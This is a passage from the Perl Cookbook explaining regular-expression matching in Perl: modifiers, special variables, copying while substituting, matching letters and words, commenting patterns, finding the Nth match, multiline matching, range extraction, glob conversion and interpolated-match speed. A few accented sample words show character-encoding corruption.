The last and most powerful of the three tricky bits in pattern matching is backtracking. For a pattern to match, the entire regular expression must match, not just part of it. So if the beginning of a pattern containing a quantifier succeeds in a way that causes later parts in the pattern to fail, the matching engine backs up and tries to find another match for the beginning part - that's why it's called backtracking. Essentially, it means that the engine is going to try different possibilities, systematically investigating alternate matches until it finds one that works. In some pattern matching implementations, you keep backtracking in case other submatches make the overall match longer. Perl's matcher doesn't do that; as soon as one possibility works, it uses that - until and unless something later on in the pattern fails, forcing a backtrack to retry another possible way of matching. This is discussed in Recipe 6.16.

Pattern-Matching Modifiers

Pattern-matching modifiers are a lot easier to list and learn than the different metacharacters. Here's a brief summary of them:

/i | Ignore alphabetic case (locale-aware)
/x | Ignore most whitespace in pattern and permit comments
/g | Global - match/substitute as often as possible
/gc | Don't reset search position on failed match
/s | Let . match newline; also, ignore deprecated $*
/m | Let ^ and $ match next to embedded \n
/o | Compile pattern once only
/e | Righthand side of a s/// is code to eval
/ee | Righthand side of a s/// is a string to eval, then run as code, and its return value eval'led again.

/i and /g are the most commonly used modifiers. The pattern /ram/i matches "ram", "RAM", "Ram", and so forth. Backreferences will be checked case-insensitively if this modifier is on; see Recipe 6.16 for an example. This comparison can be made aware of the user's current locale settings if the use locale pragma has been invoked. As currently implemented, /i slows down a pattern match because it disables several performance optimizations.

The /g modifier is used with s/// to replace every match, not just the first one. /g is also used with m// in loops to find (but not replace) every matching occurrence:

while (m/(\d+)/g) {
    print "Found number $1\n";
}

Used in list context, /g pulls out all matches:

@numbers = m/(\d+)/g;

That finds only non-overlapping matches. You have to be much sneakier to get overlapping ones by making a zero-width look-ahead with the (?=...) construct. Because it's zero-width, the match engine hasn't advanced at all. Within the look-ahead, capturing parentheses are used to grab the thing anyway. Although we've saved something, Perl notices we haven't made any forward progress on the /g so bumps us forward one character position.

This shows the difference:

$digits = "123456789";
@nonlap = $digits =~ /(\d\d\d)/g;
@yeslap = $digits =~ /(?=(\d\d\d))/g;
print "Non-overlapping:  @nonlap\n";
print "Overlapping:      @yeslap\n";
Non-overlapping:  123 456 789
Overlapping:      123 234 345 456 567 678 789

The /s and /m modifiers are used when matching strings with embedded newlines. /s makes dot match "\n", something it doesn't normally do; it also makes the match ignore the value of the old, deprecated $* variable. /m makes ^ and $ match after and before "\n" respectively. They are useful with paragraph slurping mode as explained in the introduction to Chapter 8, File Contents, and in Recipe 6.6.

The /e switch is used so that the right-hand part is run as code and its return value is used as the replacement string. s/(\d+)/sprintf("%#x", $1)/ge would convert all numbers into hex, changing, for example, 2581 into 0xb23.

Because different countries have different ideas of what constitutes an alphabet, the POSIX standard provides systems (and thus programs) with a standard way of representing alphabets, character set ordering, and so on. Perl gives you access to some of these through the use locale pragma; see the perllocale manpage for more information. When use locale is in effect, the \w character class includes accented and other exotic characters. The case-changing \u, \U, \l, and \L (and the corresponding uc, ucfirst, etc. functions) escapes also respect use locale, so [sigma] will be turned into [Sigma] with \u if the locale says it should.

Special Variables

Perl sets special variables as the result of certain kinds of matches: $1, $2, $3, and so on ad infinitum (Perl doesn't stop at $9) are set when a pattern contains back-references (parentheses around part of the pattern). Each left parenthesis as you read left to right in the pattern begins filling a new, numbered variable. The variable $+ contains the contents of the last backreference of the last successful match. This helps you tell which of several alternate matches was found (for example, if /(x.*y)|(y.*z)/ matches, $+ contains whichever of $1 or $2 got filled). $& contains the complete text matched in the last successful pattern match. $' and $` are the strings before and after the successful match, respectively:

$string = "And little lambs eat ivy";
$string =~ /l[^s]*s/;
print "($`) ($&) ($')\n";
(And ) (little lambs) ( eat ivy)

$`, $&, and $' are tempting, but dangerous. Their very presence anywhere in a program slows down every pattern match because the engine must populate these variables for every match. This is true even if you use one of these variables only once, or, for that matter, if you never actually use them at all but merely mention them. As of release 5.005, $& is no longer as expensive.

All this power may make patterns seem omnipotent. Surprisingly enough, this is not (quite) the case. Regular expressions are fundamentally incapable of doing some things. For some of those, special modules lend a hand. Regular expressions are unable to deal with balanced input, that is, anything that's arbitrarily nested, like matching parentheses, matching HTML tags, etc. For that, you have to build up a real parser, like the HTML::Parser recipes in Chapter 20, Web Automation. Another thing Perl patterns can't do yet is fuzzy matches; Recipe 6.13 shows how to use a module to work around that.

To learn far more about regular expressions than you ever thought existed, check out Mastering Regular Expressions, written by Jeffrey Friedl and published by O'Reilly & Associates. This book is dedicated to explaining regular expressions from a practical perspective. It not only covers general regular expressions and Perl patterns well, it also compares and contrasts these with those used in other popular languages.

Previous: 5.16. Program: dutree | Perl Cookbook | Next: 6.1. Copying and Substituting Simultaneously
5.16. Program: dutree | Book Index | 6.1. Copying and Substituting Simultaneously


Recipe 6.1. Copying and Substituting Simultaneously

Perl CookbookSearch this book

6.1. Copying and Substituting Simultaneously

Problem

You're tired of constantly using two separate statements with redundant information, one to copy and another to substitute.

Solution

Instead of:

$dst = $src;
$dst =~ s/this/that/;

use:

($dst = $src) =~ s/this/that/;

Discussion

Sometimes what you wish you could have is the new string, but you don't care to write it in two steps.

For example:

# strip to basename
($progname = $0)        =~ s!^.*/!!;

# Make All Words Title-Cased
($capword  = $word)     =~ s/(\w+)/\u\L$1/g;

# /usr/man/man3/foo.1 changes to /usr/man/cat3/foo.1
($catpage  = $manpage)  =~ s/man(?=\d)/cat/;

You can even use this technique on an entire array:

@bindirs = qw( /usr/bin /bin /usr/local/bin );
for (@libdirs = @bindirs) { s/bin/lib/ }
print "@libdirs\n";
/usr/lib /lib /usr/local/lib

The parentheses are required when combining an assignment if you wish to change the result in the leftmost variable. Normally, the result of a substitution is its success: either "" for failure, or the number of times the substitution was done. Contrast this with the preceding examples where the parentheses surround the assignment itself. For example:

($a =  $b) =~ s/x/y/g;      # copy $b and then change $a
 $a = ($b  =~ s/x/y/g);     # change $b, count goes in $a

See Also

The "Variables" section of Chapter 2 of Programming Perl, and the "Assignment Operators" section of perlop (1)

Previous: 6.0. Introduction | Perl Cookbook | Next: 6.2. Matching Letters
6.0. Introduction | Book Index | 6.2. Matching Letters


Recipe 6.2. Matching Letters

Perl CookbookSearch this book

6.2. Matching Letters

Problem

You want to see whether a value only consists of alphabetic characters.

Solution

The obvious character class for matching regular letters isn't good enough in the general case:

if ($var =~ /^[A-Za-z]+$/) {
    # it is purely alphabetic
}

That's because it doesn't respect the user's locale settings. If you need to match letters with diacritics as well, use locale and match against a negated character class:

use locale;
if ($var =~ /^[^\W\d_]+$/) {
    print "var is purely alphabetic\n";
}

Discussion

Perl can't directly express "something alphabetic" independent of locale, so we have to be more clever. The \w regular expression notation matches one alphabetic, numeric, or underscore character. Therefore, \W is not one of those. The negated character class [^\W\d_] specifies a byte that must not be an alphanumunder, a digit, or an underscore. That leaves us with nothing but alphabetics, which is what we were looking for.

Here's how you'd use this in a program:

use locale;
use POSIX 'locale_h';

# the following locale string might be different on your system
unless (setlocale(LC_ALL, "fr_CA.ISO8859-1")) {
    die "couldn't set locale to French Canadian\n";
}

while (<DATA>) {
    chomp;
    if (/^[^\W\d_]+$/) {
        print "$_: alphabetic\n";
    } else {
        print "$_: line noise\n";
    }
}

__END__
silly
fa赼de
co胮erate
ni觨
Ren蔱
Moli蓃e
h謒oglobin
na衯e
tsch伛
random!stuff#here

See Also

The treatment of locales in Perl in perllocale (1); your system's locale (3) manpage; we discuss locales in greater depth in Recipe 6.12; the "Perl and the POSIX Locale" section of Chapter 7 of Mastering Regular Expressions

Previous: 6.1. Copying and Substituting Simultaneously | Perl Cookbook | Next: 6.3. Matching Words
6.1. Copying and Substituting Simultaneously | Book Index | 6.3. Matching Words


Recipe 6.3. Matching Words

Perl CookbookSearch this book

6.3. Matching Words

Problem

You want to pick out words from a string.

Solution

Think long and hard about what you want a word to be and what separates one word from the next, then write a regular expression that embodies your decisions. For example:

/\S+/               # as many non-whitespace bytes as possible
/[A-Za-z'-]+/       # as many letters, apostrophes, and hyphens

Discussion

Because words vary between applications, languages, and input streams, Perl does not have built-in definitions of words. You must make them from character classes and quantifiers yourself, as we did previously. The second pattern is an attempt to recognize "shepherd's" and "sheep-shearing" each as single words.

Most approaches will have limitations because of the vagaries of written human languages. For instance, although the second pattern successfully identifies "spank'd" and "counter-clockwise" as words, it will also pull the "rd" out of "23rd Psalm". If you want to be more precise when you pull words out from a string, you can specify the stuff surrounding the word. Normally, this should be a word-boundary, not whitespace:

/\b([A-Za-z]+)\b/            # usually best
/\s([A-Za-z]+)\s/            # fails at ends or w/ punctuation

Although Perl provides \w, which matches a character that is part of a valid Perl identifier, Perl identifiers are rarely what you think of as words, since we really mean a string of alphanumerics and underscores, but not colons or quotes. Because it's defined in terms of \w, \b may surprise you if you expect to match an English word boundary (or, even worse, a Swahili word boundary).

\b and \B can still be useful. For example, /\Bis\B/ matches the string "is" only within a word, not at the edges. And while "thistle" would be found, "vis-�-vis" wouldn't.

See Also

The treatment of \b, \w, and \s in perlre (1) and in the "Regular expression bestiary" section of Chapter 2 of Programming Perl; the words-related patterns in Recipe 6.23

Previous: 6.2. Matching Letters | Perl Cookbook | Next: 6.4. Commenting Regular Expressions
6.2. Matching Letters | Book Index | 6.4. Commenting Regular Expressions


Recipe 6.4. Commenting Regular Expressions

Perl CookbookSearch this book

6.4. Commenting Regular Expressions

Problem

You want to make your complex regular expressions understandable and maintainable.

Solution

You have four techniques at your disposal: comments outside the pattern, comments inside the pattern with the /x modifier, comments inside the replacement part of s///, and alternate delimiters.

Discussion

The piece of sample code in Example 6.1 uses all four techniques. The initial comment describes the overall intent of the regular expression. For relatively simple patterns, this may be all that is needed. More complex patterns, as in the example, will require more documentation.

Example 6.1: resname

#!/usr/bin/perl -p
# resname - change all "foo.bar.com" style names in the input stream
# into "foo.bar.com [204.148.40.9]" (or whatever) instead

use Socket;                 # load inet_addr
s{                          #
    (                       # capture the hostname in $1
        (?:                 # these parens for grouping only
            (?! [-_]  )     # lookahead for neither underscore nor dash
            [\w-] +         # hostname component
            \.              # and the domain dot
        ) +                 # now repeat that whole thing a bunch of times
        [A-Za-z]            # next must be a letter
        [\w-] +             # now trailing domain part
    )                       # end of $1 capture
}{                          # replace with this:
    "$1 " .                 # the original bit, plus a space
           ( ($addr = gethostbyname($1))   # if we get an addr
            ? "[" . inet_ntoa($addr) . "]" #        format it
            : "[???]"                      # else mark dubious
           )
}gex;               # /g for global
                    # /e for execute
                    # /x for nice formatting

For aesthetics, the example uses alternate delimiters. When you split your match or substitution over multiple lines, it helps readability to have matching braces. Another common reason to use alternate delimiters is when your pattern or replacement contains slashes, as in s/\/\//\/..\//g, alternate delimiters makes such patterns easier to read, as in s!//!/../!g or s{//}{/../}g.

The /x modifier makes Perl ignore most whitespace in the pattern (it still counts in a bracketed character class) and treat # characters and their following text as comments. Although useful, this can prove troublesome if you want literal whitespace or # characters in your pattern. If you do want these characters, you'll have to quote them with a backslash, as in the escaped pound signs here:

s/                  # replace
  \#                #   a pound sign
  (\w+)             #   the variable name
  \#                #   another pound sign
/${$1}/xg;          # with the value of the global variable

Remember that comments should explain the text, not just restate the code. Using "$i++ # add one to i" is apt to lose marks in your programming course or get you talked about by your coworkers.

The final technique is /e, which evaluates the replacement portion as a full Perl expression, not just as a (double-quote interpolated) string. The result of running this code is used as the replacement string. Because it is evaluated as code, you can put comments in it. This slows your code down somewhat, but not as much as you'd think (until you write a benchmark on your own, a good idea that will allow you to develop a feel for the efficiency of different constructs). That's because the right-hand side of the substitute is syntax-checked and compiled at compile-time along with the rest of your program. This may be overkill in the case of a simple string replacement, but it is marvelous for more complex cases.

Doubling up the /e to make /ee (or even more, like /eee!) is like the eval "STRING" construct. This allows you to use lexical variables instead of globals in the previous replacement example.

s/                  # replace
\#                  #   a pound sign
(\w+)               #   the variable name
\#                  #   another pound sign
/'$' . $1/xeeg;     # with the value of *any* variable

After a /ee substitution, you can test the $@ variable. It contains any error messages resulting from running your code, because this is real run-time code generation - unlike /e.

See Also

The /x modifier in perlre (1) and the "Pattern Matching" section of Chapter 2 of Programming Perl; the "Comments Within a Regular Expression" section of Chapter 7 of Mastering Regular Expressions

Previous: 6.3. Matching Words | Perl Cookbook | Next: 6.5. Finding the Nth Occurrence of a Match
6.3. Matching Words | Book Index | 6.5. Finding the Nth Occurrence of a Match


Recipe 6.5. Finding the Nth Occurrence of a Match

Perl CookbookSearch this book

6.5. Finding the Nth Occurrence of a Match

Problem

You want to find the N th match in a string, not just the first one. For example, you'd like to find the word preceding the third occurrence of "fish":

One fish two fish red fish blue fish

Solution

Use the /g modifier in a while loop, keeping count of matches:

$WANT = 3;
$count = 0;
while (/(\w+)\s+fish\b/gi) {
    if (++$count == $WANT) {
        print "The third fish is a $1 one.\n";
        # Warning: don't `last' out of this loop
    }
}
The third fish is a red one.

Or use a repetition count and repeated pattern like this:

/(?:\w+\s+fish\s+){2}(\w+)\s+fish/i;

Discussion

As explained in the chapter introduction, using the /g modifier in scalar context creates something of a progressive match, useful in while loops. This is commonly used to count the number of times a pattern matches in a string:

# simple way with while loop
$count = 0;
while ($string =~ /PAT/g) {
    $count++;               # or whatever you'd like to do here
}

# same thing with trailing while
$count = 0;
$count++ while $string =~ /PAT/g;

# or with for loop
for ($count = 0; $string =~ /PAT/g; $count++) { }

# Similar, but this time count overlapping matches
$count++ while $string =~ /(?=PAT)/g;

To find the Nth match, it's easiest to keep your own counter. When you reach the appropriate N, do whatever you care to. A similar technique could be used to find every Nth match by checking for multiples of N using the modulus operator. For example, (++$count % 3) == 0 would be every third match.

If this is too much bother, you can always extract all matches and then hunt for the ones you'd like.

$pond  = 'One fish two fish red fish blue fish';

# using a temporary
@colors = ($pond =~ /(\w+)\s+fish\b/gi);      # get all matches
$color  = $colors[2];                         # then the one we want

# or without a temporary array
$color = ( $pond =~ /(\w+)\s+fish\b/gi )[2];  # just grab element 3

print "The third fish in the pond is $color.\n";
The third fish in the pond is red.

Or finding all even-numbered fish:

$count = 0;
$_ = 'One fish two fish red fish blue fish';
@evens = grep { $count++ % 2 == 1 } /(\w+)\s+fish\b/gi;
print "Even numbered fish are @evens.\n";
Even numbered fish are two blue.

For substitution, the replacement value should be a code expression that returns the proper string. Make sure to return the original as a replacement string for the cases you aren't interested in changing. Here we fish out the fourth specimen and turn it into a snack:

$count = 0;
s{
   \b               # makes next \w more efficient
   ( \w+ )          # this is what we'll be changing
   (
     \s+ fish \b
   )
}{
    if (++$count == 4) {
        "sushi" . $2;
    } else {
         $1   . $2;
    }
}gex;
One fish two fish red fish sushi fish

Picking out the last match instead of the first one is a fairly common task. The easiest way is to skip the beginning part greedily. After /.*\b(\w+)\s+fish\b/, for example, the $1 variable would have the last fish.

Another way to get arbitrary counts is to make a global match in list context to produce all hits, then extract the desired element of that list:

$pond = 'One fish two fish red fish blue fish swim here.';
$color = ( $pond =~ /\b(\w+)\s+fish\b/gi )[-1];
print "Last fish is $color.\n";
Last fish is blue.

If you need to express this same notion of finding the last match in a single pattern without /g, you can do so with the negative lookahead assertion (?!THING). When you want the last match of arbitrary pattern A, you find A followed by any amount of not A through the end of the string. The general construct is A(?!.*A)*$, which can be broken up for legibility:

m{
    A               # find some pattern A
    (?!             # mustn't be able to find
        .*          # something
        A           # and A
    )
    $               # through the end of the string
}x

That leaves us with this approach for selecting the last fish:

$pond = 'One fish two fish red fish blue fish swim here.';
if ($pond =~ m{
                    \b  (  \w+) \s+ fish \b
                (?! .* \b fish \b )
            }six )
{
    print "Last fish is $1.\n";
} else {
    print "Failed!\n";
}
Last fish is blue.

This approach has the advantage that it can fit in just one pattern, which makes it suitable for similar situations as shown in Recipe 6.17. It has its disadvantages, though. It's obviously much harder to read and understand, although once you learn the formula, it's not too bad. But it also runs more slowly though - around twice as slowly on the data set tested above.

See Also

The behavior of m//g in scalar context is given in the "Regexp Quote-like Operators" section of perlop (1), and in the "Pattern Matching Operators" section of Chapter 2 of Programming Perl; zero-width positive lookahead assertions are shown in the "Regular Expressions" section of perlre (1), and in the "rules of regular expression matching" section of Chapter 2 of Programming Perl

Previous: 6.4. Commenting Regular Expressions | Perl Cookbook | Next: 6.6. Matching Multiple Lines
6.4. Commenting Regular Expressions | Book Index | 6.6. Matching Multiple Lines


Recipe 6.6. Matching Multiple Lines

Perl CookbookSearch this book

6.6. Matching Multiple Lines

Problem

You want to use regular expressions on a string containing more than one line, but the special characters . (any character but newline), ^ (start of string), and $ (end of string) don't seem to work for you. This might happen if you're reading in multiline records or the whole file at once.

Solution

Use /m, /s, or both as pattern modifiers. /s lets . match newline (normally it doesn't). If the string had more than one line in it, then /foo.*bar/s could match a "foo" on one line and a "bar" on a following line. This doesn't affect dots in character classes like [#%.], since they are regular periods anyway.

The /m modifier lets ^ and $ match next to a newline. /^=head[1-7]$/m would match that pattern not just at the beginning of the record, but anywhere right after a newline as well.

Discussion

A common, brute-force approach to parsing documents where newlines are not significant is to read the file one paragraph at a time (or sometimes even the entire file as one string) and then extract tokens one by one. To match across newlines, you need to make . match a newline; it ordinarily does not. In cases where newlines are important and you've read more than one line into a string, you'll probably prefer to have ^ and $ match beginning- and end-of-line, not just beginning- and end-of-string.

The difference between /m and /s is important: /m makes ^ and $ match next to a newline, while /s makes . match newlines. You can even use them together - they're not mutually exclusive options.

Example 6.2 creates a filter to strip HTML tags out of each file in @ARGV and send the results to STDOUT. First we undefine the record separator so each read operation fetches one entire file. (There could be more than one file, because @ARGV has several arguments in it. In this case, each read would get a whole file.) Then we strip out instances of beginning and ending angle brackets, plus anything in between them. We can't use just .* for two reasons: first, it would match closing angle brackets, and second, the dot wouldn't cross newline boundaries. Using .*? in conjunction with /s solves these problems - at least in this case.

Example 6.2: killtags

#!/usr/bin/perl
# killtags - very bad html tag killer
undef $/;           # each read is whole file
while (<>) {        # get one whole file at a time
    s/<.*?>//gs;    # strip tags (terribly)
    print;          # print file to STDOUT
}

Because this is just a single character, it would be much faster to use s/<[^>]*>//gs, but that's still a na衯e approach: It doesn't correctly handle tags inside HTML comments or angle brackets in quotes (<IMG SRC="here.gif" ALT="<<Ooh la la!>>">). Recipe 20.6 explains how to avoid these problems.

Example 6.3 takes a plain text document and looks for lines at the start of paragraphs that look like "Chapter 20: Better Living Through Chemisery". It wraps these with an appropriate HTML level one header. Because the pattern is relatively complex, we use the /x modifier so we can embed whitespace and comments.

Example 6.3: headerfy

#!/usr/bin/perl
# headerfy: change certain chapter headers to html
$/ = '';
while ( <> ) {              # fetch a paragraph
    s{
        \A                  # start of record
        (                   # capture in $1
            Chapter         # text string
            \s+             # mandatory whitespace
            \d+             # decimal number
            \s*             # optional whitespace
            :               # a real colon
            . *             # anything not a newline till end of line
        )
    }{<H1>$1</H1>}gx;
    print;
}

Here it is as a one-liner from the command line if those extended comments just get in the way of understanding:

% perl -00pe 's{\A(Chapter\s+\d+\s*:.*)}{<H1>$1</H1>}gx' datafile

This problem is interesting because we need to be able to specify both start-of-record and end-of-line in the same pattern. We could normally use ^ for start-of-record, but we need $ to indicate not only end-of-record, but also end-of-line as well. We add the /m modifier, which changes both ^ and $. So instead of using ^ to match beginning-of-record, we use \A instead. (We're not using it here, but in case you're interested, the version of $ that always matches end-of-record even in the presence of /m is \Z.)

The following example demonstrates using both /s and /m together. That's because we want ^ to match the beginning of any line in the paragraph and also want dot to be able to match a newline. (Because they are unrelated, using them together is simply the sum of the parts. If you have the questionable habit of using "single line" as a mnemonic for /s and "multiple line" for /m , then you may think you can't use them together.) The predefined variable $. represents the record number of the last read file. The predefined variable $ARGV is the file automatically opened by implicit <ARGV> processing.

$/ = '';            # paragraph read mode for readline access
while (<ARGV>) {
    while (m#^START(.*?)^END#sm) {  # /s makes . span line boundaries
                                    # /m makes ^ match near newlines
        print "chunk $. in $ARGV has <<$1>>\n";
    }
}

If you've already committed to using the /m modifier, you can use \A and \Z to get the old meanings of ^ and $ respectively. But what if you've used the /s modifier and want to get the original meaning of .? You can use [^\n]. If you don't care to use /s but want the notion of matching any character, you could construct a character class that matches any one byte, such as [\000-\377] or even [\d\D]. You can't use [.\n] because . is not special in a character class.

See Also

The $/ variable in perlvar (1) and in the "Special Variables" section of Chapter 2 of Programming Perl; the /s and /m modifiers in perlre (1) and "the fine print" section of Chapter 2 of Programming Perl; the "String Anchors" section of Mastering Regular Expressions; we talk more about the special variable $/ in Chapter 8

Previous: 6.5. Finding the Nth Occurrence of a Match | Perl Cookbook | Next: 6.7. Reading Records with a Pattern Separator
6.5. Finding the Nth Occurrence of a Match | Book Index | 6.7. Reading Records with a Pattern Separator


Recipe 6.7. Reading Records with a Pattern Separator

Perl CookbookSearch this book

6.7. Reading Records with a Pattern Separator

Problem

You want to read in records separated by a pattern, but Perl doesn't allow its input record separator variable to be a regular expression.

Many problems, most obviously those involving the parsing of complex file formats, become a lot simpler when you are easily able to extract records that might be separated by a number of different strings.

Solution

Read the whole file and use split:

undef $/;
@chunks = split(/pattern/, <FILEHANDLE>);

Discussion

Perl's record separator must be a fixed string, not a pattern. (After all, awk has to be better at something.) To sidestep this limitation, undefine the input record separator entirely so that the next line-read operation gets the rest of the file. This is sometimes called slurp mode, because it slurps in the whole file as one big string. Then split that huge string using the record separating pattern as the first argument.

Here's an example, where the input stream is a text file that includes lines consisting of ".Se", ".Ch", and ".Ss", which are special codes in the troff macro set that this book was developed under. These lines are the separators, and we want to find text that falls between them.

# .Ch, .Se and .Ss divide chunks of STDIN
{
    local $/ = undef;
    @chunks = split(/^\.(Ch|Se|Ss)$/m, <>);
}
print "I read ", scalar(@chunks), " chunks.\n";

We create a localized version of $/ so its previous value gets restored after the block finishes. By using split with parentheses in the pattern, captured separators are also returned. This way the data elements in the return list alternate with elements containing "Se", "Ch", or "Ss".

If you didn't want delimiters returned but still needed parentheses, you could use non-capturing parentheses in the pattern: /^\.(?:Ch|Se|Ss)$/m .

If you just want to split before a pattern but include the pattern in the return, use a look-ahead assertion: /^(?=\.(?:Ch|Se|Ss))/m . That way each chunk starts with the pattern.

Be aware that this uses a lot of memory if the file is large. However, with today's machines and your typical text files, this is less often an issue now than it once was. Just don't try it on a 200-MB logfile unless you have plenty of virtual memory to use to swap out to disk with! Even if you do have enough swap space, you'll likely end up thrashing.

See Also

The $/ variable in perlvar (1) and in the "Special Variables" section of Chapter 2 of Programming Perl; the split function in perlfunc (1) and Chapter 3 of Programming Perl; we talk more about the special variable $/ in Chapter 8

Previous: 6.6. Matching Multiple Lines | Perl Cookbook | Next: 6.8. Extracting a Range of Lines
6.6. Matching Multiple Lines | Book Index | 6.8. Extracting a Range of Lines


Recipe 6.8. Extracting a Range of Lines

Perl CookbookSearch this book

6.8. Extracting a Range of Lines

Problem

You want to extract all lines from one starting pattern through an ending pattern or from a starting line number up to an ending line number.

A common example of this is extracting the first 10 lines of a file (line numbers 1 to 10) or just the body of a mail message (everything past the blank line).

Solution

Use the operators .. or ... with patterns or line numbers. The operator ... doesn't return true if both its tests are true on the same line, but .. does.

while (<>) {
    if (/BEGIN PATTERN/ .. /END PATTERN/) {
        # line falls between BEGIN and END in the
        # text, inclusive.
    }
}

while (<>) {
    if ($FIRST_LINE_NUM .. $LAST_LINE_NUM) {
        # operate only between first and last line, inclusive.
    }
}

The ... operator doesn't test both conditions at once if the first one is true.

while (<>) {
    if (/BEGIN PATTERN/ ... /END PATTERN/) {
        # line is between BEGIN and END on different lines
    }
}

while (<>) {
    if ($FIRST_LINE_NUM ... $LAST_LINE_NUM) {
        # operate only between first and last line, but not same
    }
}

Discussion

The range operators, .. and ..., are probably the least understood of Perl's myriad operators. They were designed to allow easy extraction of ranges of lines without forcing the programmer to retain explicit state information. When used in a scalar sense, such as in the test of if and while statements, these operators return a true or false value that's partially dependent on what they last returned. The expression left_operand .. right_operand returns false until left_operand is true, but once that test has been met, it stops evaluating left_operand and keeps returning true until right_operand becomes true, after which it restarts the cycle. To put it another way, the first operand turns on the construct as soon as it returns a true value, whereas the second one turns it off as soon as it returns true.

These conditions are absolutely arbitrary. In fact, you could write mytestfunc1() .. mytestfunc2(), although in practice this is seldom done. Instead, the range operators are usually used either with line numbers as operands (the first example), patterns as operands (the second example), or both.

# command-line to print lines 15 through 17 inclusive (see below)
perl -ne 'print if 15 .. 17' datafile

# print out all <XMP> .. </XMP> displays from HTML doc
while (<>) {
    print if m#<XMP>#i .. m#</XMP>#i;
}

# same, but as shell command
% perl -ne 'print if m#<XMP>#i .. m#</XMP>#i' document.html

If either operand is a numeric literal, the range operators implicitly compare against the $. variable ($NR or $INPUT_LINE_NUMBER if you use English). Be careful with implicit line number comparisons here. You must specify literal numbers in your code, not variables containing line numbers. That means you can simply say 3 .. 5 in a conditional, but not $n .. $m where $n and $m are 3 and 5 respectively. You have to be more explicit and test the $. variable directly.

perl -ne 'BEGIN { $top=3; $bottom=5 }  print if $top .. $bottom' /etc/passwd        # previous command FAILS
perl -ne 'BEGIN { $top=3; $bottom=5 } \
    print if $. == $top .. $. ==     $bottom' /etc/passwd    # works
perl -ne 'print if 3 .. 5' /etc/passwd   # also works

The difference between .. and ... is their behavior when both operands can be true on the same line. Consider these two cases:

print if /begin/ .. /end/;
print if /begin/ ... /end/;

Given the line "You may not end ere you begin", both the double- and triple-dot versions of the range operator above return true. But the code using .. will not print any further lines. That's because .. tests both conditions on the same line once the first test matches, and the second test tells it that it's reached the end of its region. On the other hand, ... will continue until the next line that matches /end/ because it never tries to test both operands on the same time.

You may mix and match conditions of different sorts, as in:

while (<>) {
    $in_header =   1  .. /^$/;
    $in_body   = /^$/ .. eof();
}

The first assignment sets $in_header to be true from the first input line until after the blank line separating the header, such as from a mail message, a news posting, or even an HTTP header. (Technically speaking, an HTTP header should have both linefeeds and carriage returns as network line terminators, but in practice, servers are liberal in what they accept.) The second assignment sets $in_body to be true starting as soon as the first blank line is encountered, up through end of file. Because range operators do not retest their initial condition, any further blank lines (such as those between paragraphs) won't be noticed.

Here's an example. It reads files containing mail messages and prints addresses it finds in headers. Each address is printed only once. The extent of the header is from a line beginning with a "From:" up through the first blank line. If we're not within that range, go on to the next line. This isn't an RFC-822 notion of an address, but it's easy to write.

%seen = ();
while (<>) {
    next unless /^From:?\s/i .. /^$/;
    while (/([^<>(),;\s]+\@[^<>(),;\s]+)/g) {
        print "$1\n" unless $seen{$1}++;
    }
}

If this all range business seems mighty strange, chalk it up to trying to support the s2p and a2p translators for converting sed and awk code into Perl. Both those tools have range operators that must work in Perl.

See Also

The .. and ... operators in the "Range Operator" sections of perlop (1) and Chapter 2 of Programming Perl; the entry for $NR in perlvar (1) and the "Special Variables" section of Chapter 2 of Programming Perl

Previous: 6.7. Reading Records with a Pattern Separator | Perl Cookbook | Next: 6.9. Matching Shell Globs as Regular Expressions
6.7. Reading Records with a Pattern Separator | Book Index | 6.9. Matching Shell Globs as Regular Expressions


Recipe 6.9. Matching Shell Globs as Regular Expressions

Perl CookbookSearch this book

6.9. Matching Shell Globs as Regular Expressions

Problem

You want to allow users to specify matches using traditional shell wildcards, not full Perl regular expressions. Wildcards are easier to type than full regular expressions for simple cases.

Solution

Use the following subroutine to convert four shell wildcard characters into their equivalent regular expression; all other characters will be quoted to render them literals.

sub glob2pat {
    my $globstr = shift;
    my %patmap = (
        '*' => '.*',
        '?' => '.',
        '[' => '[',
        ']' => ']',
    );
    $globstr =~ s{(.)} { $patmap{$1} || "\Q$1" }ge;
    return '^' . $globstr . '$';
}

Discussion

A Perl pattern is not the same as a shell wildcard pattern. The shell's *.* is not a valid regular expression. Its meaning as a pattern would be /^.*\..*$/, which is admittedly much less fun to type.

The function given in the Solution makes these conversions for you, following the standard wildcard rules used by the glob built-in.

Shell | Perl
list.? | ^list\..$
project.* | ^project\..*$
*old | ^.*old$
type*.[ch] | ^type.*\.[ch]$
*.* | ^.*\..*$
* | ^.*$

In the shell, the rules are different. The entire pattern is implicitly anchored at the ends. A question mark maps into any character, an asterisk is any amount of anything, and brackets are character ranges. Everything else is normal.

Most shells do more than simple one-directory globbing. For instance, you can say */* to mean "all the files in all the subdirectories of the current directory." Furthermore, most shells don't list files whose names begin with a period, unless you explicitly put that leading period into your glob pattern. Our glob2pat function doesn't do these things - if you need them, use the File::KGlob module from CPAN.

See Also

Your system's csh (1) and ksh (1) manpages; the glob function in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the CPAN module Glob::DosGlob; the "I/O Operators" section of perlop (1) and the "Filename globbing operator" section of Chapter 2 of Programming Perl; we talk more about globbing in Recipe 9.6

Previous: 6.8. Extracting a Range of Lines | Perl Cookbook | Next: 6.10. Speeding Up Interpolated Matches
6.8. Extracting a Range of Lines | Book Index | 6.10. Speeding Up Interpolated Matches


Recipe 6.10. Speeding Up Interpolated Matches

Perl CookbookSearch this book

6.10. Speeding Up Interpolated Matches

Problem

You want your function or program to take one or more regular expressions as arguments, but doing so seems to run slower than using literals.

Solution

To overcome this bottleneck, if you have only one pattern whose value won't change during the entire run of a program, store it in a string and use /$pattern/o.

while ($line = <>) {
    if ($line =~ /$pattern/o) {
        # do something
    }
}

If you have more than one pattern, however, that won't work. Use one of the three techniques outlined in the Discussion for a speed-up of an order of magnitude or so.

Discussion

When Perl compiles a program, it converts patterns into an internal form. This conversion occurs at compile time for patterns without variables in them, but at run time for those that do contain variables. That means that interpolating variables into patterns, as in /$pattern/, can slow your program down. This is particularly noticeable when $pattern changes often.

The /o modifier is a promise from the script's author that the values of any variables interpolated into that pattern will not change - or that if they do, Perl should disregard any such changes. Given such a promise, Perl need only interpolate the variable and compile the pattern the first time it encounters the match. But if the interpolated variable were to change, Perl wouldn't notice. Make sure to use it only on unchanging variables, or else wrong answers will result.

Using /o on patterns without interpolated variables does not speed anything up. The /o modifier is also of no help when you have an unknown number of regular expressions and need to check one or more strings against all of these patterns. Nor is it of any use when the interpolated variable is a function argument, since each call of the function gives the variable a new value.

